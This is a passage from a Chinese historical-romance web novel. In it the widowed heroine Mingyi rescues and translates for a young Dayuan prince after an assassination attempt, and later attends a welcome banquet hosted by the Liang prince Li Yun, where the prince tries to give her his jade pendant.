那小少年倒也不算太傻,趁着混乱, 眼泪汪汪地连滚带爬朝往这边飞快挪动。 周子炤终于是后知后觉反应过来, 一边与明宜往外面跑,一边吩咐道:“叶六, 去救小王子。” 叶六反应很快, 不等他话音落, 人已经上前, 一剑斩开胡姬朝小王子射过来的飞刀,另一只手拖起人就跟上。 两个胡姬见人要被救走, 立刻要摆脱缠斗, 继续追上去。 然而江寒哪里肯干,他见明宜和周子炤跑出门,立刻放开手脚。 他是大内侍卫出身, 身手千里挑一, 两个胡姬擅长的是偷袭和暗器, 几番回合下来,明显不敌他。 何况还有个身形彪悍的大宛护卫。 两个胡姬使了个眼色,忽然甩动衣袖,十几枚飞针, 齐齐从袖中射出。 那大宛护卫到底还是不够矫捷,中了两针惨叫一声跌倒在地。 江寒则是移形换影顺利躲过,见人中招倒地, 顿时大怒,再不顾及对方是女子,一刀狠狠朝其中一人劈去。 胡姬虽然灵巧,却也没能完全躲过这悍然一刀,半边肩膀几欲被砍断,发出一声痛呼。 同伴见状,大惊失色,赶紧将人扶起,转身跑向窗边,砰的一声,破窗跳下了楼。 江寒追上去时到底是迟了一步,手中的长刀,只刺中了一片一角。 这边逃到外面的几人,听到动静,又赶紧推开门,见到胡姬逃走,这才舒了口气。 小王子已经吓得浑身瘫软,手脚并用爬进来,先是爬到护卫身边,叽里咕噜问了几句,约莫是见对方无大碍,又爬到译人身旁,也不顾对方满身的血,扶着对方身体用力摇了摇,叽里咕噜叫唤着。 然而地上的人毫无动静,显然是断了气。 小王子哇的一声,大哭出来。 周子炤啧啧两声,退出几步远,与那满身是血的尸体,隔开了些。 明宜走过去,用大宛话道:“小王子,你节哀!” 小王子闻言,转头睁大眼睛看向她,伤痛的表情中,浮上一丝欣喜:“你会大宛话?” 明宜点头:“这里可能不安全,我们得离开。” 周子炤听两人说话,不禁咦了声,走上来问道:“三娘子,你听得懂这家伙的鸟语?你跟他说什么呢?” 明宜道:“我说这里不安全,我们得赶紧走。” 小王子倒也不傻,警惕问道:“你们是何人?” 明宜道:“我们是凉王府的人。” 小王子双眼一亮,这才放下心来,只是看着地上的人,又不免伤心落泪。 周子炤也不知两人说了什么,只道:“不用担心,叶六已经发了信号,附近凉州兵很快就会赶到,表兄若离这里不远,不多久也能收到消息,我们不用动,等表兄来了做安排。” 明宜想起那日李赟说过的话,若是城中发生事,半盏茶功夫之内,援兵即能赶到。 若是如此,待在原地,只怕比出去更安全。 她点点头,又看了眼地上惊魂未定的小王子,那包着一包眼泪的绿眸少年,因听不懂旁人说话,手脚并用挪过来,紧紧攥住她的袍摆,像是抓了根救命稻草一般。 明宜面露无奈,想着对方此时也是被吓到,便也没有挣开。 周子炤见状,不禁又有些乐了,忽然想到什么似的,问明宜:“三娘子,你怎么会大宛话?” 明宜笑说:“你忘了我祖父曾是鸿胪寺卿,下辖四方馆,我幼时常接触鞮译象寄,学了一些零星的胡夷之语。” 周子炤一拍脑门:“你不提我还真忘了,宋太傅从前做过鸿胪寺卿,管着四方馆。” 说着又挑着眉头看了眼地上的少年,少年昂着头,依旧泪眼汪汪。 周子炤感叹道:“这家伙今日遇上三娘子,也是命不该绝。” 明宜想了想,将少年扶起来,道:“我们坐着稍等,凉王应该很快赶到。” 少年用力点头,似是终于从惊魂未定中缓过神,拱手朝明宜深深作了一揖,是标准大宁的礼节。 “吾乃大宛国六王子南斯,多谢娘子救命之恩,南斯感激不尽。”顿了下,又睁大一双发红的绿眸看向明宜,“不知娘子如何称呼?” 明宜拱手回道:“南斯王子不用客气,我乃凉王弟妹,本姓宋,你唤我三娘子便好。” 南斯点点头:“多谢三娘子”又看向周子炤。 周子炤一脸莫名,歪头问明宜:“他要作何?” 明宜笑着道:“他叫南斯,是大宛国六王子。”说着又与南斯介绍,“这是大宁五皇子齐王殿下。” 南斯闻言,面上一惊,反应过来,忙对周子炤行了个大礼:“大宛国六王子南斯拜见齐王殿下。” 周子炤歪头瞥向明宜:“他这是跟我打招呼?” 明宜笑着点头:“嗯。” 周子炤这才忙回了一礼:“六王子受惊了。” 南斯又看向明宜,明宜只得继续翻译。 这回南斯没再说什么,只是看了眼地上的译人,面上又露出凄然之色。 明宜示意他去旁边坐下。 南斯从善如流,那位受伤的护卫,自己处理了伤口,也坐在主人身旁,一副严阵以待的模样。 几人刚坐定,外面便传来兵卒声音,不知何时跑出去的酒博士,领着几个凉州兵走进来。 确实还不到半盏茶。 城中这些凉州兵,并不认识明宜和周子炤,正要上前询问,叶六已经从腰间拿出令牌展示给几人。 几人认出这是凉王府的令牌,忙拱手:“参见上官,不知这里发生了何事?” 周子炤道:“叶六,你去外面与他们将来龙去脉说清楚,不许让外人再进来叨扰。” “明白。” 待人哗啦啦出去,周子炤又想到什么似的,对明宜道:“你问问这六王子,怎会在仙悦居?” 明宜看向南斯,如实问道。 南斯摸摸头道:“我们今早才进的凉州城,下榻凉州馆后,我见城中繁华热闹,十分新奇,差人打听这仙悦居乃是城中最大酒肆,我素来喜音律,每到一个地方,都会先听当地小曲。” 周子炤听着对方叽里咕噜的话,不由得蹙起眉头:“他说什么呢?这么一长串?” 明宜笑:“他说他们今早才到凉州馆。因为喜欢音律,便来仙悦居听曲。” 周子炤哎了声,又觑了眼南斯,道:“看他年纪不大,应是比我还废,能一路平安到凉州,也不知是运气,还是使团能人颇多。那胡姬定是北狄安插的细作,一早打探出这小王子喜好。说着有些愤慨道,“这狄患真是没完没了!” 吓得一旁的南斯抖了一抖。 明宜听了这话不由得蹙眉。 她虽然才来凉州短短十余日,却已见识了什么叫狄患。先是黑松驿,再是永安园,如今又是仙悦居。 这些北狄人简直是如影随形无孔不入,只要稍有疏漏,都是大麻烦。 而小动作通常预示着背后的大动作。 只怕蛰伏几十年的北狄,很快就会卷土重来。 正兀自思忖着,楼下隐约响起马蹄声。 周子炤双眼一亮:“应该是表兄来了。”说着起身,朝窗边跑去。 南斯不明所以,只忐忑不安地看向明宜。 明宜安抚地对他笑了笑:“不用担心,应该是小凉王。” 说罢,也起身来到窗边。 楼下已经有兵卒把控,几匹马正狂奔而来,打头的正是李赟。 明宜趴在窗边时,对方刚刚抵达,在门口勒马停下。 “表兄——”周子炤高声唤道。 李赟抬头面无表情朝两人看了眼,轻轻挑了下眉头,算是对五殿下的回应,然后从马背一跃而下。 他甫一下马,便有一个身穿玄衣的兵卒,走上前拱手与他行礼,然后凑上前低声噼里啪啦与他报告。 李赟一面神色冷淡地听着,一面往大门内走,只是走了几步,也不知听到什么,忽然又抬头朝窗边看了眼。 周子炤和明宜都还趴在窗边,只是周子炤占据了大半个窗口,明宜则是靠在边缘露出半张脸。 但李赟这一眼,显然并不是看向窗中央周子炤那张大脸,而是只露了半张脸的明宜。 那双深灰色眸子在午后的阳光下,被透进一片光。 也不知怎的,明宜一时有点虚。 好在只是淡然一瞥。 李赟人已经进入门内。 周子炤赶紧转身道:“走走走!” 明宜又跟着他朝门口走去。 原本坐在地上的南斯,虽然不明就里,也下意识跟上。 周子炤伸手将门打开,李赟恰好走到楼梯口。 “表兄!你可算来了,你都不知道刚刚有多惊险。” 嘴上是这么说,但这位五皇子依旧是吊儿郎当的模样。 李赟轻描淡写嗯了声,先是打量他一眼,又看向明宜,淡声问道:“你们没事吧?” “没事,那刺客目标是大宛国小王子,我与三娘子就是恰好撞上。”说着,周子炤嘿嘿一笑,“没想到被我们坏了好事。” 李赟走到门口,双眸越过明宜屋内扫了一眼,目光落在跟在明宜身后的少年。 约莫是他气势太强,南斯显然有点畏惧,下意识往明宜背后躲了躲,伸手抓住对方袖袍。 明宜见状,赶紧道:“南斯,这位就是小凉王。”又对李赟道,“阿兄,这是大宛国六王子南斯。” 不等南斯动作,李赟先拱手彬彬有礼道:“让六王子受惊了。” 南斯见他虽然生得有些威严吓人,但行为举止非常有礼,并不像传闻中那样吓人,这才默默挪出来,因为听不懂,又求助似的看向明宜。 明宜将李赟问候转达,南斯点点头,拱手作揖:“见过凉王。” 李赟听不懂,却也猜到对方说什么,并未叫明宜解释,只对她道:“今日多亏弟妹。” 明宜笑说:“要说多亏还是江寒和叶六。” 李赟还未开口,一旁的周子炤啧了一声不干了:“三娘子这话说的可就不对,若不是你听得懂大宛话,识出小王子身份,我们也不会出手相助。”说着又笑嘻嘻对李赟道,“你说这大宛话叽里咕噜的,没想到三娘子竟然听得懂。” 李赟瞧了眼明宜,一边跨过门槛往里走,一边淡声道:“弟妹祖父曾是鸿胪寺卿,掌管四方馆,弟妹识得胡夷之语不足为奇。想必弟妹除了大宛话,还懂得其他。” 明宜道:“我只是恰好学过一点大夏语,大宛话与大夏话相通,所以能听懂个大概。其余的更是只懂皮毛。” 李赟闻言,回头朝她看了一眼,嘴角微微勾了下,是一个似是而非又有点探寻意味的浅笑。 第26章 第25章 三更 明宜心下微微一怔, 还未探寻出,对方有意见转过去,朝地上那具尸身走过去。 他蹲下身, 神色淡然地看了看, 显然对尸身习以为常。 “这位是……” 明宜道:“是南斯王子的译人,为护南斯王子被刺客刺中身亡。” 李赟点点头, 又走到南斯跟前, 拱手道:“小王子放心,本王会替你好好安葬这位译人, 这两日城中只怕不安全, 小王子若是愿意, 可下榻凉王府。” 南斯眨巴着猫儿眼认真听着, 但其实一句也听不懂,最终只能转头看向明宜。 明宜逐句翻译给他听。 “那可太好了。”南斯闻言忙不迭欢喜点头, 又朝李赟行了个大礼。 李赟扶住他的手:“行, 你这就随我去王府,我再让人通知凉州馆使团,将你的随行仆从带来王府, 方便照料。” 他一边说, 明宜一边给南斯翻译。 南斯小鸡啄米似的点头。 一行人出门下楼。 南斯始终紧紧跟着明宜, 甚至还忍不住去牵她的袍袖,一会儿又叽里咕噜说着什么。 李赟虽听不懂,但也能听出明宜对这位大宛国王子的语气很是温柔。 及至到了楼下,李赟忽然轻咳一声, 打断几乎在耳语的两人。 南斯顿时收声,睁着无辜绿眸,与明宜一起看向他。 李赟淡声道:“六王子莫急, 我会与你安排一位译人。” 南斯歪头看向明宜。 明宜说:“王爷说会替你安排译人。” 南斯忙作揖道谢:“多谢凉王!” 明宜正要给李赟译,被对方抬手打断:“不用译,我猜得到。” 明宜:“……” 凉王府的马车已在门口等候,李赟亲自领着南斯去上车,南斯爬上去,忽然又打起车帘,朝准备往另外一辆马车走去的明宜道,忐忑问道:“三娘子,你可以与我同乘一车吗?” 明宜知他人在异国他乡,听不懂人说话,又刚刚经过了刺客事件,定然没安全感,便点点头,然后对上马的李赟道:“阿兄,南斯想让与他乘坐一辆车。” 李赟眉头微不可寻地蹙了下,又淡声道:“随你。” 明宜点点头,转身和白芷上了车。 南斯见状,原本有些忐忑脸色,明显缓和下来,重重舒了口气,咧嘴笑道:“若不是三娘子相救,只怕我已经命丧凉州。” 明宜笑说:“若不是南斯王子热情相邀,请我们一起听曲儿,也不会这么凑巧就救了王子。” 南斯摸摸头露出一脸傻笑,又想到什么似的,压低声音小心翼翼道:“小凉王倒是与传闻中似乎有些不一样呢。” 明宜被他这鬼鬼祟祟的表情逗乐,又好奇问:“大宛国也有小凉王传闻?” “嗯。”南斯点头,双眼放光,摁耐不住兴奋道,“东西往来商人,都要途经大宛国,大宛本身也有不少商队,近年许多小国都受过北狄滋扰,我们对其都无能为力,能与之抗衡,让其臣服的只有大宁,大宁抵抗北狄,又是靠凉王。小凉王的名声,早传遍我们这些小国。不过……” 说着道理,又有些讪讪地摸摸头。 明宜眨眨眼睛,好奇问:“不过怎么了?” 南斯道:“不过我们都听说小凉王骁勇善战,有以一敌百的本事,以至于我们都以为他生得虎背熊腰,如老虎狗熊一样粗犷。没想到他竟生得这般英俊。”说着又轻咳一声,“当然,也并不影响他的气势与威严。” 明宜噗嗤一笑:“看来小凉王的传闻在哪里都一样。” 南斯抿抿唇,又想到什么似的,问道:“对了,我听说小凉王还有一胞弟,一直在京城,是为西平侯,三娘子便是西平侯侯爷夫人么?” 明宜点头:“嗯,没错。” “原来侯爷回凉州了。”南斯笑眯眯道,“那等去了凉王府,我要在他面前,再好好感谢一番三娘子。” 明宜微微一怔,继而又淡笑道:“看来王子还未听说,我夫君一个半月前病逝,我是来送他回凉州安葬的。” 南斯蓦地睁大眼睛,嘴唇翕张了片刻,却不知说什么,全然一副说错话的窘迫状。 明宜见状轻笑:“无妨,你不知道罢了,我们大宁并没那么多忌讳。” “哦。”南斯点点头,看着对面一身素衣素面朝天的女子,想到她这般年轻便守了寡,心中不由得生出一股怜悯之情。 明宜自是不知他想些什么,只随口道:“小王子看起来还不到弱冠之年,竟胆敢千里迢迢率使团去大宁皇都朝贡,很了不起。” 少年闻言又露出一脸灿烂的笑:“南斯已经年满十七,也不算小了,兄长们都曾到过远方,我也该出来历练了。” 原来才十七,难怪看起来一副不谙世事的天真。 南斯又道:“这两个多月来,一直都很顺利,并未遇到北狄劫匪,没想到进了凉州还是遇到了,好在托三娘子的福,有惊无险。 年方十七的大宛小王子,不仅天真,还为人热情,先前也正是他的热情,救了他自己一命。 如今在这小小的车厢里,又因为热情,一直叽里咕噜拉着明宜说个不停,简直一副相见恨晚的模样。 及至到了王府,仙悦居遇刺的阴霾已经一扫而空。 他跳下马,看到凉王府高耸的大门,以及门匾上的烫金大字,夸张地发出一声惊呼:“原来这就是凉王府。” 李赟在旁边下马,走过来轻笑道:“看来南斯王子对我们凉王府很有兴趣,我们先进去喝杯茶压压惊,然后我再差人领你逛逛。” 南斯笑盈盈听着他说,其实一个字也听不懂,见对方说完,又转向明宜。 明宜正要开口翻译,楚飞领着一个胡人模样的男子走过来,拱手道:“王爷,译人来了。” 那译人朝李赟拱手揖了一礼:“见过王爷。” 李赟点点头,对南斯道:“这是本王为你安排的译人,若是有何不满意,再与本王提。” 那译人忙翻译。 南斯闻言双眼亮晶晶点头道谢。 “南斯王子,有请!”李赟彬彬有礼伸手示意。 这回不用翻译,南斯也明白他意思,咧嘴笑着与他一道进门,那新来的译人亦步亦趋跟在他身旁。 南斯叽里咕噜地对李赟说了几句,下意识转头看向明宜。 看到明宜朝他努努嘴,示意译人就在他身旁,他才吐吐舌头转过去。 进了院门,明宜上前道:“阿兄,您招待南斯王子,我就不打扰了。” 李赟踅身看向她:“今日有劳弟妹了,想来弟妹也受了惊吓,先回去好好休息一番。” 明宜点头:“嗯。” 江寒和白芷提着今日收获的大包小包跟上来,李赟见状又道:“这是弟妹今日采买的手信?” “是啊,后天就要启程,今日将该买的东西都买上。” 李赟点点头:“好,还有什么需要,你告诉荣伯。” “明白。” 一旁的南斯听着两人你一句我一句,满脸好奇地让译人译给他听。 译人一脸无语,人家小凉王和二夫人说话,有你何事? 明宜看到两人的小动作,笑着朝南斯拱手道:“南斯王子,你这两日就住在王府中,有什么需要我帮忙的,尽管让人传话予我。” 南斯双眼笑眯眯,用力点头:“好的,三娘子。” 李赟和南斯站在原地,目送明宜三人离开。 及至周子炤吊儿郎当走过来,伸手在两人跟前挥了挥:“不进屋里,作何呢?” 李赟冷冷觑他一眼,又对南斯伸手示意:“南斯王子,有请。” 南斯忙不迭点头。 许是十来天连续经历了三次刺杀事件,这回目睹的血腥和死亡,对比之前两次,可以说是不值一提。 以至于明宜已经没了先前心惊胆战的恐惧,又因为后天就要回京城,离开这个是非之地,只有归心似箭的期盼。 比起腥风血雨的凉州,还是纸醉金迷的京城更让她安心。 只是辛苦了为大宁安稳而守在这苦寒边疆的将领。 她脑中浮上李赟的模样。 虽然小凉王权倾一方,但谁又能说,坐在这个位置不辛苦? 思及此,她兀自摇摇头,各人有命,或许那人便很享受这样的命。 她让白芷将手信整理打包,又思索着还有什么所需,一一列下,准备在明日之前悉数准备妥当。 此去回程,虽然比来时轻松,但遥遥千里,也得好好准备才行。 因着中午在仙悦居并未吃饱,明宜又用了些简单的午膳,这才上榻歇了去。 再醒来,已是金乌西坠。 “二夫人,你醒了?”秋霜在旁边显然已是等了多时。 “有事?”明宜揉了揉额角随口问。 秋霜笑道:“王爷今晚在饮马厅设宴,为大宛使团接风洗尘,请夫人也过去。” 明宜点点头,看了眼天色:“今晚何时?” “不急的,戌时正刻才开宴。” 明宜下榻伸了个懒腰:“那正好还能好好梳个妆。” 宴请大宛使团与府中家宴不同,她这个侯夫人即使因为新寡之身,不适合浓妆艳抹,却也得稍加装扮,不能丢了王府体面。 幸而昨日中秋,李赟送来三身衣裳,她从剩下两身,挑出一套湖绿襦裙,外搭雪青半臂。再让白芷为自己梳了个堕马髻,面上略施薄粉,眉间点上一抹花钿,摇身一变,俨然又是温婉端庄的京城贵女。 饮马厅乃是凉王府一座专门宴请宾客的大厅,明宜只路过,今日才是第一次进。 厅很大,足以容纳百人,但装潢并不奢华,是典雅质朴的风格。 明宜到时,李赟和大宛使团都已经入座,似是只等她一个人到来,她在两排大宛宾客的注目下,缓缓走上前,先垂眸对主桌的李赟和他左手上位的周子炤行了个礼,然后才转身看向右边的南斯,朝他作了一揖,轻笑道:“见过南斯王子!” 南斯一双猫儿似的绿眸睁得跟铜铃似的,手忙脚乱站起身,半晌才反应过来似的,惊讶道:“三……娘子?!” 明宜白日未施粉黛,穿的是又是男式袍,头发也只是简单用玉簪绾一个圆髻,乍一看像是个秀丽少年,但眼下的明宜,却分明是一个美得让人难以移开目光的高贵千金。 南斯双眼一眨不眨,眸中如有星光闪动,脸上的笑更是如艳阳一般。他忽然有点羞赧似的摸摸头,白皙的面颊似乎多了点绯红:“我差点没认出来,我还以为是哪里来的仙子。三娘子,你是我见过的最美的大宁女子,不,不是大宁,三娘子比我们大宛国最美的女子还美。”—— 作者有话说:明天晚上八点更 第27章 第 26 章 男女之间不能当众送贴身…… 明宜没料到这绿眸少年的夸赞如此直白, 一向淡定的她也不由得面上一热,下意识轻咳一声,道:“南斯说笑了。” 好在两人说的这番话, 厅中应该只有对方身旁那译人听得懂, 她看了眼那译人,果然见其面露尴尬, 一副眼观鼻鼻观心的样子。 明宜又想到什么似, 用余光瞥了眼主位的李赟。 对方正好整以暇望着她和南斯,眉头微微蹙起, 神色分明有几分狐疑。 谢天谢地, 小凉王听不懂大宛话。 不然听到一个异国小王子这般夸赞自己刚守寡的弟妹, 委实有些尴尬。 明宜暗暗深吸了口气, 礼貌地朝南斯笑了笑,转身正要入座, 这才发觉前面几排并无空桌, 倒是李赟主桌两旁各挨着一张小桌,右侧小桌已坐了王府长史,左侧小桌倒是空着。 明宜正疑惑着, 李赟已经指着那空位淡声开口:“弟妹, 坐这里, 还劳烦你今晚暂且为我齐王殿下充当译人。” 明宜了然点头,她刚扫了眼,这厅中就只有南斯身旁那一个译人,确实不方便。 思及此, 她从善如流走到李赟左手边坐下。 南斯也坐了回去,只是一双眼睛始终追随着明宜,竟是有些痴痴的样子, 及至听到小凉王的一声轻咳,他才反应过来,抬眸有些不好意思地朝对方笑了笑。 李赟轻轻勾了下嘴角,回了他一个似是而非的笑。 南斯没太看懂,只莫名有些心虚,赶紧垂下漂亮的绿眸,装模做样端起茶杯呷了口。 李赟环顾了一眼宴厅众人,又看了眼南斯,这才举杯不紧不慢优雅起身,朗声开口:“南斯王子,诸位大宛贵客,今日,尔等携贵国君主之厚谊,跨越千里,来大宁做客,是两国之幸事。此番途经凉州,念尔等舟车劳顿,本王特设此薄宴,以凉州雅乐与风味,为诸位接风洗尘,修养整顿。更愿诸位此去一路顺利,大宁大宛邦交永固。” 说罢,转过头垂眸看向明宜,示意她为他作译。 明明心头微怔,下意识扫了眼大厅,除了大宛使团的几位舞姬,便只有她一个女人。 大宁民风还算开放,市井中抛头露面的女子不算稀罕,但在高门中,女子仍旧有诸多束缚与规矩,能出席这等宴请外使团的宴会,已是难得,更何况是在这样的场合充当译人,当众发言。 但显然李赟并不觉得这有何不妥。 只等待明宜将他的致辞,完整传达给众人。 明宜扮演墨守成规的大家闺秀这么多年,忽然让她抛头露面,众目睽睽之下,一时也难免有些紧张,却又有点按捺不住的兴奋。 她撩起眼帘,对上李赟那双深邃的灰眸,暗暗深吸一口气,然后站起身,施施然看向厅中众人,高声开口,将李赟的话,逐字逐句用大宛话说了一遍。 在她说话时,李赟一直微微歪头,一动不动地望着她。 灰眸中有着毫不掩饰的赞许,女人今日这身装扮,不如昨日中秋那般轻盈明媚,多了几分不符合年龄的端庄沉稳,配上她此时落落大方说着大宛话的模样,可谓是相得益彰。 明宜说完,转头对上李赟,示意已译完,也想从对方表情中,看出对自己表现是否满意。 只见男人轻描淡写点点头,俊美的脸上,一如既往的面无表情,只是眸光微动,嘴角也有着微不可寻的弧度,显然不如平日那般冷峻。 明宜微微舒了口气,看来这家伙对自己应是满意的。 而在她说完后,众人也都已举杯起身。 南斯的白面颊因为激动,染上了两坨红霞,他捧着酒杯,大声道:“多谢王爷款待,南斯在大宛时,便已听闻小凉王威名,今日一见,果真是龙章凤姿,万里挑一。能有王爷这般英才,乃是大宁和凉州大幸,也让北狄不敢肆意祸乱,我们大宛商人才得安然来往于东西。” 明宜心道他看着一派天真,场面说得倒是动听。 这番话本该由他身旁的译人传达,然而那译人还未开口,李赟已经偏头看向她。 明宜只得继续为他翻译。 虽是以自己之口传南斯之语,但遣词造句需要自己斟酌,明明是在努力还原南斯的意思,但听起来,却似乎有几分自己借机恭维的嫌疑。 这可真真是冤枉! 李赟觑眼看她,认真听着,嘴角不着痕迹地勾了勾。 待她说完,李赟轻笑着向南斯拱手道:“南斯王子谬赞了。” 只见南斯朝身旁随从示意了下,对方捧着一只描金红木匣走上前。 “你们大宁都说好刀配英雄,南斯代表我大宛国特赠上这把大宛宝刀,还望王爷笑纳。” 明宜继续低声翻译。 李赟朝身后站着的楚飞点点头,对方走上前,将盒子接过来打开,用目光检查了下,让后才呈上李赟。 李赟慢条斯理将那把短刀从匣子里拿出,刀鞘金光闪闪,刀柄还有一颗璀璨的蓝色宝石,十分精美。 待短刀出鞘,里面刀刃更是如寒霜一般。 “好刀!”李赟笑着由衷赞道,又拱手道,“南斯王子有心了。” 南斯忙还了一礼,又拱手对上他身旁的明宜,咧着嘴笑眯眯道:“南斯还要多谢三娘子今日在仙悦居的救命之恩,身在异国无以为报,唯赠上这枚随身玉环,以聊表心意。” 说着他便从腰间解下一枚镶着金边的玉佩,交由刚刚那随从去呈上。 因他是对着自己说话,明宜也便没给李赟翻译,不想对方却是微微歪头问:“他说什么?” 明宜只得低声道:“他说感谢我今日在仙乐居救了他,要赠这枚玉佩表示谢意。” 那随从已经捧着玉佩,来到明宜桌前。 明宜自是不可能收这等贴身之物,还未想好怎么婉拒,李赟已经朝那捧着玉佩的胡人,做了个摆手的动作,道:“南斯王子的心意,本王替弟妹心领了,只是南斯王子有所不知,在我们大宁,男女之间,若为表谢意,在大庭广众之下,赠送自己贴身之物,并不合礼数。” 明宜原本也没打算接受这份礼物,有了李赟帮忙拒绝,倒是让她少了尴尬。 她默默看了眼似笑非笑的男人,心道此人确实做事周全。 南斯听了译人解释,顿时面红耳赤地招呼随从回来,默默将玉佩拿回来重新戴在腰间,又连连拱手说:“失礼了。” 李赟则是一派大度地浅笑道:“南斯王子远道而来,不懂大宁礼俗,情有可原,何况这也并不是大事。来来来,这杯我敬诸位!” 他扬扬手中酒杯,豪爽地送入口中,瞬时便将此事揭了过去。 南斯红着脸举杯,悄咪咪看了看明宜,这才昂头一饮而下。 明宜也将酒杯贴在唇边,一边小心翼翼呷着味,一边用余光继续观察身旁两步之遥的男人。 这一观察却是不得了。 她这才后知后觉发现,对方今日穿的绛紫袍绣着青绿边,竟与自己这身湖绿雪青色的搭配很有几分相似。 尤其是这般并坐一排,外人看来,只怕多少有些奇怪。 不过李赟显然并未在意这样的细微末节,面带微笑喝完酒便坐下,让另一旁的长史招呼伶人为宾客表演。 一曲舞罢,礼尚往来,大宛也派出随行舞姬献舞。 南斯不知从哪里掏出一把凤头箜篌,笑盈盈朝明宜拱手道:“听说大宁贵女皆擅长琴棋书画,不知南斯可否邀请三娘子共奏一曲?” 明宜一愣,她虽学过一点琴,但并不精于此道,无奈南斯一脸热情,她一时也不好直接拒绝。 李赟瞥了眼脸颊绯红,满脸笑意的南斯,微微偏头,没问明宜对方说什么,而是低声道:“他想邀请你弹琴?” 明宜点头:“嗯。” “你想弹奏吗?” 他问的不是你会不会,而是想不想? 明宜轻咳一声,如实道:“不是太想。” 李赟点点头,笑着看向南斯:“南斯王子想与我们大宁人合奏还不简单?”说着,朝周子炤一指,“我们这位五殿下便喜爱音律,最擅长笛,不如你们二人合奏一曲,兴许便是伯牙子期在世。” 原本正眯着一双桃花眼,兴致勃勃等着异国舞姬表演的周子炤,冷不丁被点名,差点被一口气噎住。 伯牙子期? 和这个毛都没长齐的绿眼小王子? 齐王殿下眉头轻蹙,颇为不满地看向自己这位好表兄,但对方只是轻描淡写挑挑眉头,显然是没给他拒绝的机会。 不过他向来不是个扭捏的人,也确实吹得一手好长笛,她笑嘻嘻从腰间抽出一只玉笛,笑着朝南斯道:“不知小王子想弹奏何曲?” 译人在南斯耳边低声转达。 南斯虽没能请得明宜,但能与大宁五殿下合奏,也很是欢喜,咧嘴笑盈盈道:“不知《疏勒乐》可好?” 这是流行于东西的曲子,周子炤自然会,他笑着点点头:“好。” 明宜还是第一次听到箜篌配长笛,丝弦清灵与笛声的悠扬,配着胡姬的美妙舞姿,让整座宴厅,充满了仙乐飘飘的味道。 众人耳朵听着琴笛,目光则被舞姬曼妙的身姿吸引。 唯独南斯弹奏着弹奏着,便忍不住朝明宜看去,想看看自己的琴声,有没有让对方陶醉。 对方没看自己,他也不在意,正好可以偷偷看对方。 只是不过第三回,他便觉得不对,绿眸一转,便见握着酒杯的小凉王,似笑非笑地望着自己。 南斯心下一惊,拨弄琴弦的手,也不由得一滑,赶紧低下头。 明宜听到乱了的琴声,奇怪地看向南斯,只见对方低头看着手中箜篌,看起来很认真,应只是一时失误。 一曲终于结束。 宴厅掌声如雷。 李赟轻轻拍了拍手,笑道:“南斯王子的箜篌,不输最高级的琴师。” 南斯笑眯眯拱手道谢,又满脸殷切地望向明宜,显然是在等她的评价。 明宜见状,笑道:“虽然我不精通音律,但听得出南斯王子的琴艺极佳。” 南斯脸上的笑意更甚。 周子炤不满道:“怎么就不夸我?” 李赟淡声道:“五殿下还用夸么?” 周子炤道:“倒也是。” 一场酒宴,其乐融融,到了快亥时才结束,明宜不知不觉也多吃了点酒,离席时,已经有些醉意。 * 翌日清晨,明宜用过早膳,正在院中活动消食,却见月门后,一双猫儿似的绿眸正鬼鬼祟祟往里探。 “南斯王子——”明宜失笑开口。 南斯听到她的叫唤,却依旧站在门口,并未往里走。 明宜只得走到他跟前,奇怪问道:“怎么了?” 南斯摸摸头道:“听说在大宁,外男不能踏入女子内院。” 明宜失笑,这话倒是也没错,但哪有这样严格。 她朝他身后看了看,只见随从和译人都站了老远,应是南斯特意吩咐。 “你是有事么?” 南斯道:“我听说你明日要启程回长安?” 明宜点头:“没错。” 南斯闻言顿时大喜过望:“太好了,那我可否带使团与三娘子同行?这样方便许多。” 明宜倒是没意见,毕竟过了凉州,就不用担心北狄人,多些人同行,有利无弊。况且南斯语言不通,自己确实也能帮助。 她点点头,笑道:“当然可以。” 南斯一张脸乐开花,又想到什么似的,从腰间解下那枚镶金玉佩,双手捧着,小心翼翼递到她跟前:“我不知大宁男女之间,不能当众送对方贴身之物,昨晚是我失礼,幸而小凉王提醒。如今是私下里,我再将这玉佩送给三娘子,还请收手下。” 明宜看着他手中玉佩,一时哭笑不得,这位小王子的理解能力真是不错。 当然,要怪只怪李赟说那话让人误会。 她正想着怎么拒绝,忽然觉察不对,抬眸一看,却见李赟不知何时,走到了那正在不远处的译人身旁。 实际上,李赟一早收到下人报告,说南斯王子用过早膳,就让人带他去二夫人院子。 自己走来时,果然见到这家伙,鬼鬼祟祟趴在芙蓉苑月门后。 片刻后,便见明宜走到其跟前,两人叽里咕噜不知说着什么,然后便见南斯又拿了腰间玉佩出来,显然是要再次送给明宜。 他见明宜朝自己看过来,蹙了蹙眉,低声问译人:“南斯王子与二夫人说甚么?” 清晨王府宁静,隔着几丈的距离,两人的对话,能听到个大概。 译人轻咳一声,如实道:“南斯王子说,男女之间不能当众送贴身之物,他就来私下送给二夫人。” 李赟:“……” 他似笑非笑哼了一声,开口唤道:“南斯王子!” 南斯闻声回头,见他出现,不由得微微一怔,继而又笑着拱手行礼:“王爷晨安!” 李赟勾了勾唇,迈步走过去,轻描淡写回了一礼:“南斯王子是找弟妹有何事么?” 南斯见他过来,想到他昨晚所说当众不能送贴身之物的叮嘱,如今他走到跟前,也算是当众。 他只得将玉佩攥回手中,转头看向明宜。 “阿兄晨安。“明宜朝李赟行了一礼。“南斯王子来问我,他们使团是否可以与我们同行去长安?” 李赟微微眯了眯眼,轻笑问:“弟妹答应了?” 明宜笑着点头:“嗯,两方人马同行,方便照应。阿兄正好安排人一起送我们出凉州,也省事。” 李赟倒是没再问其他,只转而问南斯:“既然南斯王子明日就启程,今日可有安排?” 译人跟上来正要翻译,李赟却是抬手制止,又朝明宜示意了下。 明宜了然,对南斯道:“南斯,王爷问你今日可有安排?” 南斯拍拍头,试探道:“我途径凉州,还未来得及游览凉州城,今日想去游览一番,不知是否方便?” 毕竟昨日才发生了刺杀事件,没得凉王安排,他也不敢贸然出门。 明宜将他的话转述给李赟。 李赟闻言点点头:“南斯王子尽管去逛,本王会安排人护你周全。” 见南斯期盼地看向自己,明宜道:“王爷说可以,他会安排人保护你。” 南斯不由得面露欣喜,又有些激动问道:“三娘子可以和我一起去游览么?帮我讲解一番凉州风土人情么?” 明宜对凉州又不熟悉,正要婉拒。 只是还没开口,李赟已经道:“南斯王子,本王会亲自陪同。” 明宜一愣,赶紧道:“南斯,王爷说会亲自陪同你。” 南斯又惊又喜,又期盼地看向明宜。 李赟道:“弟妹一起去吧,与我和南斯王子充当个译人。” 小凉王发了话,明宜没有拒绝的道理,何况明日就要启程,趁着今日再去游览一番也不错。 